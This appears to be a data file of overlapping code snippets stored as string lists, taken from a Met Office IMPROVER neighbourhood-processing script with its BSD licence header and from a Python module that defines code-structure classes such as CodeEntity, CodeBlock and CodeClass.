cube to mask the input cube.", "degree_as_complex is used with neighbourhood_shape='circular'. \"\"\" from improver.nbhood import radius_by_lead_time", "Otherwise the original un-neighbourhood processed mask is not applied. Therefore,", "= NeighbourhoodProcessing( neighbourhood_shape, radius_or_radii, lead_times=lead_times, weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction, re_mask=remask, )(cube, mask_cube=mask)", "are permitted provided that the following conditions are met: #", "\"percentiles\". neighbourhood_shape (str): Name of the neighbourhood method to use.", "to process angles as complex numbers. Not compatible with circular", "or percentiles. weighted_mode (bool): Include this option to set the", "above copyright notice, this # list of conditions and the", "# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)", ") from improver.utilities.pad_spatial import remove_cube_halo from improver.wind_calculations.wind_direction import WindDirection sum_or_fraction", "remask=False, percentiles: cli.comma_separated_list = DEFAULT_PERCENTILES, halo_radius: float = None, ):", "that were originally masked. percentiles (float): Calculates value at the", "# list of conditions and the following disclaimer. # #", "the name of the copyright holder nor the names of", "clip. Used where a larger grid was defined than the", "WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE #", "result = NeighbourhoodProcessing( neighbourhood_shape, radius_or_radii, lead_times=lead_times, weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction, re_mask=remask, )(cube,", "ARISING IN ANY WAY OUT OF THE USE OF THIS", "we want to clip the grid back to the standard", "# All rights reserved. # # Redistribution and use in", "ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN", "lead_times, which defines at which lead time to use which", "constant weighting is assumed. weighted_mode is only applicable for calculating", "LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS", "is only applicable for calculating \"probability\" neighbourhood output using the", "original un-neighbourhood processed mask is not applied. Therefore, the neighbourhood", "Redistributions in binary form must reproduce the above copyright notice,", "the mean probability with a neighbourhood is calculated. If \"percentiles\"", "values being present in area that were originally masked. percentiles", "from the neighbourhood surrounding each grid point. This argument has", "ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR", "as lead_times. degrees_as_complex (bool): Include this option to process angles", "percentiles. weighted_mode (bool): Include this option to set the weighting", "if the output is probabilities. halo_radius (float): Set this radius", "# Redistribution and use in source and binary forms, with", "a neighbourhood is calculated. If \"percentiles\" is selected, then the", "If \"percentiles\" is selected, then the percentiles are calculated with", "back to degrees result.data = WindDirection.complex_to_deg(result.data) if halo_radius is not", "The lead times in hours that correspond to the radii", "the above copyright notice, # this list of conditions and", "the following conditions are met: # # * Redistributions of", "to apply the original un-neighbourhood processed mask to the neighbourhood", "-*- # ----------------------------------------------------------------------------- # (C) British Crown Copyright 2017-2021 Met", "A processed Cube. Raises: RuntimeError: If weighted_mode is used with", "to decrease with radius. Otherwise a constant weighting is assumed.", "Only a \"circular\" neighbourhood shape is applicable for calculating \"percentiles\"", "circular neighbourhoods\" ) if degrees_as_complex: # convert cube data into", "Office. # All rights reserved. # # Redistribution and use", "back to the standard grid. Otherwise no clipping is applied.", "from improver.wind_calculations.wind_direction import WindDirection sum_or_fraction = \"sum\" if area_sum else", "data into complex numbers cube.data = WindDirection.deg_to_complex(cube.data) radius_or_radii, lead_times =", "(iris.cube.Cube): A cube to mask the input cube. The data", "cube data into complex numbers cube.data = WindDirection.deg_to_complex(cube.data) radius_or_radii, lead_times", "def process( cube: cli.inputcube, mask: cli.inputcube = None, *, neighbourhood_output,", "mask to the neighbourhood processed cube. Otherwise the original un-neighbourhood", "be processed. mask (iris.cube.Cube): A cube to mask the input", "neighbourhood area. remask (bool): Include this option to apply the", "complex numbers cube.data = WindDirection.deg_to_complex(cube.data) radius_or_radii, lead_times = radius_by_lead_time(radii, lead_times)", "A cube to mask the input cube. The data should", "LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN", "the percentiles are calculated with a neighbourhood. Calculating percentiles from", "no clipping is applied. Returns: iris.cube.Cube: A processed Cube. Raises:", "list of conditions and the following disclaimer in the documentation", "* Redistributions of source code must retain the above copyright", "(C) British Crown Copyright 2017-2021 Met Office. # All rights", "processing.\"\"\" from improver import cli from improver.constants import DEFAULT_PERCENTILES @cli.clizefy", "standard grid and we want to clip the grid back", "(bool): Include this option to apply the original un-neighbourhood processed", "(bool): Return sum rather than fraction over the neighbourhood area.", "# modification, are permitted provided that the following conditions are", "complex numbers with circular neighbourhoods\" ) if degrees_as_complex: # convert", "the following disclaimer. # # * Redistributions in binary form", "----------------------------------------------------------------------------- # (C) British Crown Copyright 2017-2021 Met Office. #", "DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING,", "DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS", "DAMAGE. \"\"\"Script to run neighbourhood processing.\"\"\" from improver import cli", "selected, then the percentiles are calculated with a neighbourhood. Calculating", "OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT", "neighbourhood_output, neighbourhood_shape, radii: cli.comma_separated_list, lead_times: cli.comma_separated_list = None, degrees_as_complex=False, weighted_mode=False,", "OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,", "a larger grid was defined than the standard grid and", "following disclaimer in the documentation # and/or other materials provided", "in values being present in area that were originally masked.", "(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS", "LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING", "same length as lead_times, which defines at which lead time", "un-neighbourhood processed mask is not applied. Therefore, the neighbourhood processing", "in area that were originally masked. percentiles (float): Calculates value", "used with neighbourhood_shape='circular'. \"\"\" from improver.nbhood import radius_by_lead_time from improver.nbhood.nbhood", "\"probabilities\", \"percentiles\". neighbourhood_shape (str): Name of the neighbourhood method to", "wrong neighbourhood_output. RuntimeError: If degree_as_complex is used with neighbourhood_output='percentiles'. RuntimeError:", "may be used to endorse or promote products derived from", "improver import cli from improver.constants import DEFAULT_PERCENTILES @cli.clizefy @cli.with_output def", "Calculating percentiles from a neighbourhood is only supported for a", "processing. Apply the requested neighbourhood method via the NeighbourhoodProcessing plugin", "): \"\"\"Runs neighbourhood processing. Apply the requested neighbourhood method via", "neighbourhood surrounding each grid point. This argument has no effect", "neighbourhood_output == \"percentiles\": result = GeneratePercentilesFromANeighbourhood( neighbourhood_shape, radius_or_radii, lead_times=lead_times, percentiles=percentiles,", "# # * Redistributions in binary form must reproduce the", "at which lead time to use which nbhood radius. The", "the standard grid and we want to clip the grid", "IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED", "or promote products derived from # this software without specific", "@cli.with_output def process( cube: cli.inputcube, mask: cli.inputcube = None, *,", "form of the results generated using neighbourhood processing. If \"probabilities\"", "RuntimeError(\"Cannot generate percentiles from complex \" \"numbers\") if neighbourhood_shape ==", "copyright notice, # this list of conditions and the following", "complex \" \"numbers\") if neighbourhood_shape == \"circular\": if degrees_as_complex: raise", "to mask the input cube. The data should contain 1", "with radius. Otherwise a constant weighting is assumed. weighted_mode is", "masked. percentiles (float): Calculates value at the specified percentiles from", "following conditions are met: # # * Redistributions of source", "\"weighted_mode cannot be used with\" 'neighbourhood_output=\"percentiles\"' ) if degrees_as_complex: raise", "SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH", "rather than fraction over the neighbourhood area. remask (bool): Include", "# ----------------------------------------------------------------------------- # (C) British Crown Copyright 2017-2021 Met Office.", "be used with\" 'neighbourhood_output=\"percentiles\"' ) if degrees_as_complex: raise RuntimeError(\"Cannot generate", "# POSSIBILITY OF SUCH DAMAGE. \"\"\"Script to run neighbourhood processing.\"\"\"", "specified percentiles from the neighbourhood surrounding each grid point. This", "OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE", "the names of its # contributors may be used to", "used with\" 'neighbourhood_output=\"percentiles\"' ) if degrees_as_complex: raise RuntimeError(\"Cannot generate percentiles", "INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF", "* Neither the name of the copyright holder nor the", "using neighbourhood processing. If \"probabilities\" is selected, the mean probability", "is selected, then the percentiles are calculated with a neighbourhood.", "the above copyright notice, this # list of conditions and", "and the following disclaimer in the documentation # and/or other", "neighbourhood_shape='circular'. \"\"\" from improver.nbhood import radius_by_lead_time from improver.nbhood.nbhood import (", "degrees_as_complex: raise RuntimeError(\"Cannot generate percentiles from complex \" \"numbers\") if", "# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND", ") if degrees_as_complex: raise RuntimeError(\"Cannot generate percentiles from complex \"", "circular kernel. area_sum (bool): Return sum rather than fraction over", "raise RuntimeError( \"Cannot process complex numbers with circular neighbourhoods\" )", "promote products derived from # this software without specific prior", "to the neighbourhood processed cube. Otherwise the original un-neighbourhood processed", "of int): The lead times in hours that correspond to", "RuntimeError: If weighted_mode is used with the wrong neighbourhood_output. RuntimeError:", "same length as lead_times. degrees_as_complex (bool): Include this option to", "None, *, neighbourhood_output, neighbourhood_shape, radii: cli.comma_separated_list, lead_times: cli.comma_separated_list = None,", "conditions and the following disclaimer. # # * Redistributions in", "radii: cli.comma_separated_list, lead_times: cli.comma_separated_list = None, degrees_as_complex=False, weighted_mode=False, area_sum=False, remask=False,", "no effect if the output is probabilities. halo_radius (float): Set", "output. Options: \"circular\", \"square\". radii (list of float): The radius", "OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER", "the neighbourhood processed cube. Otherwise the original un-neighbourhood processed mask", "If weighted_mode is used with the wrong neighbourhood_output. RuntimeError: If", "LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS", "applied. Returns: iris.cube.Cube: A processed Cube. Raises: RuntimeError: If weighted_mode", "= DEFAULT_PERCENTILES, halo_radius: float = None, ): \"\"\"Runs neighbourhood processing.", "The Cube to be processed. mask (iris.cube.Cube): A cube to", "None, degrees_as_complex=False, weighted_mode=False, area_sum=False, remask=False, percentiles: cli.comma_separated_list = DEFAULT_PERCENTILES, halo_radius:", "IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,", "LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR #", "degrees_as_complex: raise RuntimeError( \"Cannot process complex numbers with circular neighbourhoods\"", "All rights reserved. # # Redistribution and use in source", "ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. \"\"\"Script to", "\"circular\", \"square\". radii (list of float): The radius or a", "without # modification, are permitted provided that the following conditions", "will be interpolated for intermediate lead times. lead_times (list of", "OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY", "cli.comma_separated_list = DEFAULT_PERCENTILES, halo_radius: float = None, ): \"\"\"Runs neighbourhood", "cli from improver.constants import DEFAULT_PERCENTILES @cli.clizefy @cli.with_output def process( cube:", "or a list of radii in metres of the neighbourhood", "RuntimeError( \"Cannot process complex numbers with circular neighbourhoods\" ) if", "be used. If lead_times are set, radii must be a", "WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE", "this list of conditions and the following disclaimer in the", "used to endorse or promote products derived from # this", "Otherwise a constant weighting is assumed. weighted_mode is only applicable", "at the specified percentiles from the neighbourhood surrounding each grid", "cannot be used with\" 'neighbourhood_output=\"percentiles\"' ) if degrees_as_complex: raise RuntimeError(\"Cannot", "modification, are permitted provided that the following conditions are met:", "to use which nbhood radius. The radius will be interpolated", "PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,", "(Optional) neighbourhood_output (str): The form of the results generated using", "argument has no effect if the output is probabilities. halo_radius", "to set the weighting to decrease with radius. Otherwise a", "of the copyright holder nor the names of its #", "percentiles are calculated with a neighbourhood. Calculating percentiles from a", "for intermediate lead times. lead_times (list of int): The lead", "circular kernel or percentiles. weighted_mode (bool): Include this option to", "# ARISING IN ANY WAY OUT OF THE USE OF", "the standard grid. Otherwise no clipping is applied. Returns: iris.cube.Cube:", "python # -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # (C)", "(bool): Include this option to set the weighting to decrease", "import ( GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing, ) from improver.utilities.pad_spatial import remove_cube_halo from", "= radius_by_lead_time(radii, lead_times) if neighbourhood_output == \"probabilities\": result = NeighbourhoodProcessing(", "intermediate lead times. lead_times (list of int): The lead times", "use which nbhood radius. The radius will be interpolated for", "Cube. Raises: RuntimeError: If weighted_mode is used with the wrong", "is applicable for calculating \"percentiles\" output. Options: \"circular\", \"square\". radii", "result.data = WindDirection.complex_to_deg(result.data) if halo_radius is not None: result =", "AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN", "lead_times=lead_times, weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction, re_mask=remask, )(cube, mask_cube=mask) elif neighbourhood_output == \"percentiles\":", "reserved. # # Redistribution and use in source and binary", "area_sum (bool): Return sum rather than fraction over the neighbourhood", "set the weighting to decrease with radius. Otherwise a constant", "grid was defined than the standard grid and we want", "weighting is assumed. weighted_mode is only applicable for calculating \"probability\"", "radius_by_lead_time(radii, lead_times) if neighbourhood_output == \"probabilities\": result = NeighbourhoodProcessing( neighbourhood_shape,", "ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY,", "neighbourhood to apply. If it is a list, it must", "0 for discarded points. Only supported with square neighbourhoods. (Optional)", "set, radii must be a list the same length as", "ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT", "requested neighbourhood method via the NeighbourhoodProcessing plugin to a Cube.", "the input cube. The data should contain 1 for usable", "discarded points. Only supported with square neighbourhoods. (Optional) neighbourhood_output (str):", "grid back to the standard grid. Otherwise no clipping is", "to be processed. mask (iris.cube.Cube): A cube to mask the", "@cli.clizefy @cli.with_output def process( cube: cli.inputcube, mask: cli.inputcube = None,", "length as lead_times, which defines at which lead time to", "if area_sum else \"fraction\" if neighbourhood_output == \"percentiles\": if weighted_mode:", "# # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS", "Set this radius in metres to define the excess halo", "processed Cube. Raises: RuntimeError: If weighted_mode is used with the", "contain 1 for usable points and 0 for discarded points.", "# * Redistributions of source code must retain the above", "lead_times) if neighbourhood_output == \"probabilities\": result = NeighbourhoodProcessing( neighbourhood_shape, radius_or_radii,", "numbers. Not compatible with circular kernel or percentiles. weighted_mode (bool):", "effect if the output is probabilities. halo_radius (float): Set this", "OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE #", "convert neighbourhooded cube back to degrees result.data = WindDirection.complex_to_deg(result.data) if", "SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED", "the distribution. # # * Neither the name of the", "Returns: iris.cube.Cube: A processed Cube. Raises: RuntimeError: If weighted_mode is", "IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"", "of the results generated using neighbourhood processing. If \"probabilities\" is", "radius. Otherwise a constant weighting is assumed. weighted_mode is only", "clip the grid back to the standard grid. Otherwise no", "if halo_radius is not None: result = remove_cube_halo(result, halo_radius) return", "\"percentiles\" output. Options: \"circular\", \"square\". radii (list of float): The", "neighbourhood output using the circular kernel. area_sum (bool): Return sum", "with circular neighbourhoods\" ) if degrees_as_complex: # convert cube data", "method to use. Only a \"circular\" neighbourhood shape is applicable", "lead_times=lead_times, percentiles=percentiles, )(cube) if degrees_as_complex: # convert neighbourhooded cube back", "process( cube: cli.inputcube, mask: cli.inputcube = None, *, neighbourhood_output, neighbourhood_shape,", "(iris.cube.Cube): The Cube to be processed. mask (iris.cube.Cube): A cube", "NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE #", "If lead_times are set, radii must be a list the", "'neighbourhood_output=\"percentiles\"' ) if degrees_as_complex: raise RuntimeError(\"Cannot generate percentiles from complex", "processed mask is not applied. Therefore, the neighbourhood processing may", "holder nor the names of its # contributors may be", "from improver.constants import DEFAULT_PERCENTILES @cli.clizefy @cli.with_output def process( cube: cli.inputcube,", "decrease with radius. Otherwise a constant weighting is assumed. weighted_mode", "want to clip the grid back to the standard grid.", "mask_cube=mask) elif neighbourhood_output == \"percentiles\": result = GeneratePercentilesFromANeighbourhood( neighbourhood_shape, radius_or_radii,", "permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT", "If degree_as_complex is used with neighbourhood_output='percentiles'. RuntimeError: If degree_as_complex is", "apply. If it is a list, it must be the", "each grid point. This argument has no effect if the", "from improver.utilities.pad_spatial import remove_cube_halo from improver.wind_calculations.wind_direction import WindDirection sum_or_fraction =", "is used with neighbourhood_output='percentiles'. RuntimeError: If degree_as_complex is used with", "FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT", "process angles as complex numbers. Not compatible with circular kernel", "is used with the wrong neighbourhood_output. RuntimeError: If degree_as_complex is", "to endorse or promote products derived from # this software", "neighbourhood processing. Apply the requested neighbourhood method via the NeighbourhoodProcessing", "times in hours that correspond to the radii to be", "halo_radius (float): Set this radius in metres to define the", "area that were originally masked. percentiles (float): Calculates value at", "NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND", "Only supported with square neighbourhoods. (Optional) neighbourhood_output (str): The form", "SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;", "FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO", "to the standard grid. Otherwise no clipping is applied. Returns:", "a constant weighting is assumed. weighted_mode is only applicable for", "(float): Set this radius in metres to define the excess", "if degrees_as_complex: # convert neighbourhooded cube back to degrees result.data", "to be used. If lead_times are set, radii must be", "BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY", "its # contributors may be used to endorse or promote", "GeneratePercentilesFromANeighbourhood( neighbourhood_shape, radius_or_radii, lead_times=lead_times, percentiles=percentiles, )(cube) if degrees_as_complex: # convert", "raise RuntimeError( \"weighted_mode cannot be used with\" 'neighbourhood_output=\"percentiles\"' ) if", "lead times. lead_times (list of int): The lead times in", "process complex numbers with circular neighbourhoods\" ) if degrees_as_complex: #", "IS\" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT", "SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS", "= \"sum\" if area_sum else \"fraction\" if neighbourhood_output == \"percentiles\":", "PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE", "(INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT", "Not compatible with circular kernel or percentiles. weighted_mode (bool): Include", "of its # contributors may be used to endorse or", "for discarded points. Only supported with square neighbourhoods. (Optional) neighbourhood_output", "OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY", "# # * Neither the name of the copyright holder", "THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A", "improver.nbhood import radius_by_lead_time from improver.nbhood.nbhood import ( GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing, )", "COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" # AND ANY EXPRESS", "processing. If \"probabilities\" is selected, the mean probability with a", "DEFAULT_PERCENTILES @cli.clizefy @cli.with_output def process( cube: cli.inputcube, mask: cli.inputcube =", "radius_by_lead_time from improver.nbhood.nbhood import ( GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing, ) from improver.utilities.pad_spatial", "OF SUCH DAMAGE. \"\"\"Script to run neighbourhood processing.\"\"\" from improver", "complex numbers. Not compatible with circular kernel or percentiles. weighted_mode", "than fraction over the neighbourhood area. remask (bool): Include this", "the same length as lead_times, which defines at which lead", "INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT", "neighbourhood_output == \"probabilities\": result = NeighbourhoodProcessing( neighbourhood_shape, radius_or_radii, lead_times=lead_times, weighted_mode=weighted_mode,", "with circular kernel or percentiles. weighted_mode (bool): Include this option", "numbers cube.data = WindDirection.deg_to_complex(cube.data) radius_or_radii, lead_times = radius_by_lead_time(radii, lead_times) if", "CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF #", "neighbourhood shape is applicable for calculating \"percentiles\" output. Options: \"circular\",", "derived from # this software without specific prior written permission.", "OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON", "clipping is applied. Returns: iris.cube.Cube: A processed Cube. Raises: RuntimeError:", "radii to be used. If lead_times are set, radii must", "via the NeighbourhoodProcessing plugin to a Cube. Args: cube (iris.cube.Cube):", "applicable for calculating \"percentiles\" output. Options: \"circular\", \"square\". radii (list", "conditions are met: # # * Redistributions of source code", "MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED.", "with a neighbourhood. Calculating percentiles from a neighbourhood is only", "OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT", "time to use which nbhood radius. The radius will be", "used with neighbourhood_output='percentiles'. RuntimeError: If degree_as_complex is used with neighbourhood_shape='circular'.", "with neighbourhood_output='percentiles'. RuntimeError: If degree_as_complex is used with neighbourhood_shape='circular'. \"\"\"", "\"probability\" neighbourhood output using the circular kernel. area_sum (bool): Return", "the original un-neighbourhood processed mask to the neighbourhood processed cube.", "neighbourhood is calculated. If \"percentiles\" is selected, then the percentiles", "*, neighbourhood_output, neighbourhood_shape, radii: cli.comma_separated_list, lead_times: cli.comma_separated_list = None, degrees_as_complex=False,", "applicable for calculating \"probability\" neighbourhood output using the circular kernel.", ")(cube, mask_cube=mask) elif neighbourhood_output == \"percentiles\": result = GeneratePercentilesFromANeighbourhood( neighbourhood_shape,", "TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF", "which lead time to use which nbhood radius. The radius", "BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" # AND", "THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" # AND ANY", "Neither the name of the copyright holder nor the names", "as complex numbers. Not compatible with circular kernel or percentiles.", "Otherwise no clipping is applied. Returns: iris.cube.Cube: A processed Cube." ]
[ "isinstance(codeobj, cls): codeobj = codeobj.parent return codeobj def pretty_str(self, indent=0):", "tree. \"\"\" CodeEntity.__init__(self, scope, parent) self._si = -1 @property def", "the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id = id_ self.name", "self.body.statement(i) return self.else_body.statement(i - o) elif i < 0 and", "this object.\"\"\" assert isinstance(codeobj, (CodeStatement, CodeExpression)) self.body._add(codeobj) def _children(self): \"\"\"Yield", "is raised and handled). \"\"\" def __init__(self, scope, parent): \"\"\"Constructor", "a value (its `condition`) and then declares at least one", "programming scope (e.g. the function or code block they belong", "p.result + ' ' + p.name, self.parameters)) if self.is_constructor: pretty", "def statement(self): \"\"\"The statement where this expression occurs.\"\"\" return self._lookup_parent(CodeStatement)", "\"\"\"Whether this is a binary operator.\"\"\" return len(self.arguments) == 2", "the *i*-th one, or `None`.\"\"\" k = i + 1", "id self.name = name self.result = result self.parameters = []", "class CodeExpression(CodeEntity): \"\"\"Base class for expressions within a program. Expressions", "argument. Some languages, such as C++, allow function parameters to", "may be the same as a class, or non-existent. A", "= [] self.finally_body = CodeBlock(scope, self, explicit=True) def _set_body(self, body):", "@property def is_local(self): \"\"\"Whether this is a local variable. In", "what it is referencing), and a return type. If the", "def __init__(self, scope, parent, id, name, result): \"\"\"Constructor for variables.", "parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.field_of =", "* indent pretty = '{}({})' if self.parenthesis else '{}{}' name", "of a program. If there are no better candidates, it", "= declarations declarations.scope = self.body def _set_increment(self, statement): \"\"\"Set the", "of an object. Uses `pretty_str` if the given value is", "a list). \"\"\" def statement(self, i): \"\"\"Return the *i*-th statement", "literal's value. result (str): The return type of the literal", "indent=indent) def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "self.body = body def _add_catch(self, catch_block): \"\"\"Add a catch block", "should have its `member_of` set to the corresponding class. \"\"\"", "blocks. Multiple `catch` blocks may be defined to handle specific", "transitive parent object that is an instance of a given", "to that object. \"\"\" def __init__(self, scope, parent, name, result,", "the Software without restriction, including without limitation the rights #to", "class CodeStatement(CodeEntity): \"\"\"Base class for program statements. Programming languages often", "statement)) def _add_default_branch(self, statement): \"\"\"Add a default branch to this", "def _set_body(self, body): \"\"\"Set the main body for this control", "notice shall be included in #all copies or substantial portions", "= None self.reference = None def _set_field(self, codeobj): \"\"\"Set the", "a compound literal. Args: scope (CodeEntity): The program scope where", "indentation. \"\"\" spaces = ' ' * indent pretty =", "class represents a jump statement (e.g. `return`, `break`). A jump", "\"\"\" return (isinstance(self.scope, CodeStatement) or (isinstance(self.scope, CodeFunction) and self not", "a name, a return type (`result`), a list of parameters", "instance. A declaration statement contains a list of all declared", "def __init__(self, scope, parent, name): \"\"\"Constructor for jump statements. Args:", "codeobj = self.parent while codeobj is not None and not", "OR OTHERWISE, ARISING FROM, #OUT OF OR IN CONNECTION WITH", "such as C, C++ or Java, consider this special kind", "scope (CodeEntity): The program scope where this object belongs. parent", "scope, parent) self.body = [] self.explicit = explicit def statement(self,", "Kwargs: recursive (bool): Whether to descend recursively down the tree.", "CodeFunction, CodeVariable)) self.children.append(codeobj) def _children(self): \"\"\"Yield all direct children of", "represents a code block (e.g. `{}` in C, C++, Java,", "deal #in the Software without restriction, including without limitation the", "str(self.body) class CodeDeclaration(CodeStatement): \"\"\"This class represents a declaration statement. Some", "amount of spaces to use as indentation. \"\"\" indent =", "return statements, control flow, etc.). This class provides common functionality", "this object.\"\"\" if isinstance(self.declarations, CodeStatement): yield self.declarations for codeobj in", "self.is_unary: return '[{}] {}({})'.format(self.result, self.name, self.arguments[0]) if self.is_binary: return '[{}]", "else self.name) return pretty.format(spaces, name) def __str__(self): \"\"\"Return a string", "in self.members ) else: pretty += spaces + ' [declaration]'", "= type(self).__name__ spell = getattr(self, 'name', '[no spelling]') result =", "\"\"\"Assign a function-local index to each child object and register", "in self.members: yield codeobj def _afterpass(self): \"\"\"Assign the `member_of` of", "any type of literal whose value is compound, rather than", "for codeobj in self.body._children(): yield codeobj def _afterpass(self): \"\"\"Assign a", "self.body = body def _children(self): \"\"\"Yield all direct children of", "BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #FITNESS FOR", "does not have a `scope` or `parent`. \"\"\" def __init__(self):", "including literal values, operators, references and function calls. This class", "the object on which a method is being called. \"\"\"", "to be implicit in some contexts, e.g. an `if` statement", "in parentheses. \"\"\" def __init__(self, scope, parent, result, value=(), paren=False):", "function in a function call) and a type (`result`). Also,", "class CodeClass(CodeEntity): \"\"\"This class represents a program class for object-oriented", "branches combined.\"\"\" return len(self.body) + len(self.else_body) def _children(self): \"\"\"Yield all", "is being called. \"\"\" def __init__(self, scope, parent, name, result,", "' * indent condition = pretty_str(self.condition) pretty = '{}if ({}):\\n'.format(spaces,", "(CodeEntity): The program scope where this object belongs. parent (CodeEntity):", "variable is *global* if it is declared directly under the", "\"\"\"This class represents a loop (e.g. `while`, `for`). Some languages", "the corresponding class. \"\"\" def __init__(self, scope, parent, id, name,", "a list of references to it. If a function is", "class represents an indefinite value. Many programming languages have their", "many programming languages are list literals, often constructed as `[1,", "@property def is_definition(self): return True @property def is_local(self): \"\"\"Whether this", "default branch to this switch.\"\"\" self.default_case = statement def pretty_str(self,", "len(self.body) # ----- Common Entities ------------------------------------------------------- class CodeVariable(CodeEntity): \"\"\"This class", "others. In Python, the closest thing should be a module.", "this object.\"\"\" for codeobj in self.body: yield codeobj def pretty_str(self,", "indent (int): The amount of spaces to use as indentation.", "members and call their `_afterpass()`. This should only be called", "and it should indicate whether it is enclosed in parentheses.", "\"\"\"Constructor for function calls. Args: scope (CodeEntity): The program scope", "of the class in the program. \"\"\" CodeEntity.__init__(self, scope, parent)", "class is defined within another class (inner class), it should", "literal values, operators, references and function calls. This class is", "representation of this object.\"\"\" return repr(self.expression) class CodeBlock(CodeStatement, CodeStatementGroup): \"\"\"This", "statement of this block. Behaves as if the *then* and", "A reference typically has a name (of what it is", "yield codeobj def __len__(self): \"\"\"Return the length of all blocks", "in the program tree. value (CodeExpression|CodeExpression[]): This literal's value. result", "(e.g. the name of the function in a function call)", "self.line or 0 col = self.column or 0 name =", "down.\"\"\" yield self for child in self._children(): for descendant in", "tree. \"\"\" source = self.walk_preorder if recursive else self._children return", "like regular blocks. Multiple `catch` blocks may be defined to", "value, result, paren=False): \"\"\"Constructor for literals. As literals have no", "have a `scope` or `parent`. \"\"\" def __init__(self): \"\"\"Constructor for", "codeobj in self.children: codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a human-readable", "name, a line number, a column number, a programming scope", "self.member_of = None self.references = [] self._definition = self if", "is hereby granted, free of charge, to any person obtaining", "least one branch (*cases*) that execute when the evaluated value", "thus an empty iterator is returned. \"\"\" return iter(()) class", "= condition def _set_body(self, body): \"\"\"Set the main body for", "statement from the object's `body`.\"\"\" return self.statement(i) def __len__(self): \"\"\"Return", "If a function is a method of some class, its", "(str): The name of the class in the program. \"\"\"", "def _add_default_branch(self, body): \"\"\"Add a default body for this conditional", "module. In Java, it may be the same as a", "\"!=\", \"&&\", \"||\", \"=\") def __init__(self, scope, parent, name, result,", "\"\"\" # ----- This code is just to avoid creating", "`break`). A jump statement has a name. In some cases,", "is a method of some class, its `member_of` should be", 